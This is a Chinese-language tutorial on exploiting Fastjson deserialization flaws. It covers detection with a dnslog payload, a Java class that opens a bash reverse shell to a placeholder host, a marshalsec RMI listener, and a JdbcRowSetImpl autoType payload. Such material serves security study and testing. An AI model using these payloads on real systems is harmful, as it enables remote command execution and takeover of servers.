Fastjson 概述
Fastjson是阿里巴巴公司开源的一款json解析器,它可以解析 JSON 格式的字符串,支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到JavaBean。
漏洞版本
Fastjson <=1.2.24 反序列化远程命令执行漏洞
Fastjson <=1.2.41 反序列化远程命令执行漏洞
Fastjson <=1.2.42 反序列化远程命令执行漏洞
Fastjson <=1.2.43 反序列化远程命令执行漏洞
Fastjson <=1.2.45 反序列化远程命令执行漏洞
Fastjson <=1.2.47 反序列化远程命令执行漏洞
Fastjson <=1.2.62 反序列化远程命令执行漏洞
Fastjson <=1.2.66 反序列化远程命令执行漏洞
Java序列化小知识
序列化时,会调用成员变量的get方法,私有成员变量不会被序列化。
反序列化时,会调用成员变量的set方法,public修饰的成员全部自动赋值。
Fastjson反序列化方法
第一种,指定返回类型的对象
User user = JSON.parseObject(serializedStr, User.class);
第二种,返回JsonObject对象
Object obj = JSON.parse(serializedStr);
但如何让程序自动获得序列化对象的类型呢?第一种需要自己指定,第二种则返回Obj类型,Fastjson则提供一个自省@type 自动转换类型。
这就存在漏洞,可以通过自省,可构造指定要序列化的类。
Fastjson 反序列化漏洞
1.2.24:fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。
1.2.47:fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。
Fastjson查找
fastjson的作用是用于对JSON格式的数据进行解析和打包,所以出现json格式的地方就有可能使用了fastjson
- 找到发送json序列化数据的接口
- 判断是否使用fastjson
1)输入非法格式,查看报错信息,例如{“x”:"
2)使用dnslog探测 - Burp插件 github搜 fastjson
Fastjson漏洞发现(利用 dnslog)
{"name":{"@type":"java.net.InetAddress","val":"test.sr3uwk.ceye.io"}}
Fastjson的利用(编译)
//javac Exploit.java
import java.lang.Runtime;
import java.lang.Process;
public class Exploit {
public Exploit(){
try{
Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&
/dev/tcp/ip/port 0>&1");
}catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Exploit e = new Exploit();
}
}
Fastjson的利用
使用marshalsec开启监听
项目地址:https://github.com/mbechler/marshalsec
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer
“http://ip/#Exploit” port
执行攻击payload:
{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"
b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://ip/Exploit","autoCommit":true}}